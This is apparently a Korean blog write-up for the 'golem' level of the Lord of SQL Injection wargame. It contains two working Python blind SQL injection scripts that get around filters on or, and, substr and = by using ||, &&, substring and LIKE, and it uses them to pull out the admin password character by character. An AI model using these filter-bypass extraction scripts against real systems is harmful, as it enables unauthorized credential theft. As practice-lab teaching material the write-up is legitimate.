반응형
문제 정보
문제 이름 : GOLEM
문제 설명
or, and, substr(, = 등이 필터링 되어있다.
substr()함수 대신 substring()함수나 mid()함를 사용하여 문제를 해결할 수 있다.
admin의 pw값을 구하면 문제를 해결할 수 있다.
import requests
url = 'https://los.rubiya.kr/chall/golem_4b5202cfedd8160e73124b5234235ef5.php'
cookies={'PHPSESSID':'세션값'}
password = ''
# # password length 파악
# for length in range(1,20):
# params = {'pw':f"' || id like 'admin' && length(pw) like {length}#"}
# req = requests.get(url, cookies=cookies, params=params)
# if '<br><h2>Hello admin</h2><code>' in req.text:
# print(f'password length: {length}')
# requests 파라미터 보내기
# password cracking
for i in range(1,9): # 패스워드 인덱스 1번째부터 8번째까지
for letter in range(33,129): # 아스키코드 33부터 129까지
params = {'pw':f"' || id like 'admin' && ascii(substring(pw,{i},1)) like {letter}#"} # 파라미터로 보내면 url 인코딩되어 전달되는 것 같음
req = requests.get(url,cookies=cookies,params=params)
if "<br><h2>Hello admin</h2><code>" in req.text:
print(f"{i}번째 password: {chr(letter)}")
password += chr(letter)
break
print(f"password: {password}")
위 스크립트를 통해서 문제를 해결 하였다.
payload는 아래와 같다.
?pw=77d6290b
번외편
like 문을 사용하여 문제를 해결함.
import requests
url = "https://los.rubiya.kr/chall/golem_4b5202cfedd8160e73124b5234235ef5.php"
cookies={'PHPSESSID':'세션값'}
password = ''
# # password length 파악
# for length in range(1,20):
# params = {'pw':f"' || id like 'admin' && length(pw) like {length}#"}
# req = requests.get(url, cookies=cookies, params=params)
# if '<br><h2>Hello admin</h2><code>' in req.text:
# print(f'password length: {length}')
# requests 파라미터 보내기
# password cracking
for i in range(1,9): # 패스워드 인덱스 1번째부터 8번째까지
for letter in range(33,129): # 아스키코드 33부터 129까지
req = f"{url}?pw=0%27||id%20like%20%27admin%27%26%26pw%20like%20%27{password+chr(letter)}%25%27%23"
res = requests.get(req,cookies=cookies)
if "<br><h2>Hello admin</h2><code>" in res.text:
print(f"{i}번째 password: {chr(letter)}")
password += chr(letter)
break
print(f"password: {password}")
LIKE 연산자는 특정 문자가 포함되어 있는 데이터를 검색 할때 사용한다.
1. 특정 문자로 시작하는 데이터 검색
SELECT [필드명] FROM [테이블명] WHERE [필드명] LIKE '특정 문자열%';
2. 특정 문자로 끝나는 데이터 검색
SELECT [필드명] FROM [테이블명] WHERE [필드명] LIKE '%특정 문자열;
3. 특정 문자를 포함하는 데이터 검색
SELECT [필드명] FROM [테이블명] WHERE [필드명] LIKE '%특정 문자열%';
패스워드가 위랑 똑같은데 대문자로 나온다.
이유는 varchar로 칼럼이 선언되어있을 경우 대소문자를 구분하지않아 like D나 like d나 똑같은 걸로 처리하기 때문이다.이거 그대로 입력하면 문제 통과를 하지 못해서 소문자로 변환하여 넣으면 통과한다.
반응형
'WEB hacking > LORD OF SQL INJECTION' 카테고리의 다른 글
[Lord of SQL Injection] skeleton 문제 풀이 (0) | 2023.04.16 |
---|---|
[Lord of SQL Injection] vampire 문제 풀이 (0) | 2023.04.14 |
[Lord of SQL Injection] troll 문제 풀이 (0) | 2023.04.12 |
[Lord of SQL Injection] orge 문제 풀이 (0) | 2023.04.10 |
[Lord of SQL Injection] darkelf 문제 풀이 (0) | 2023.04.08 |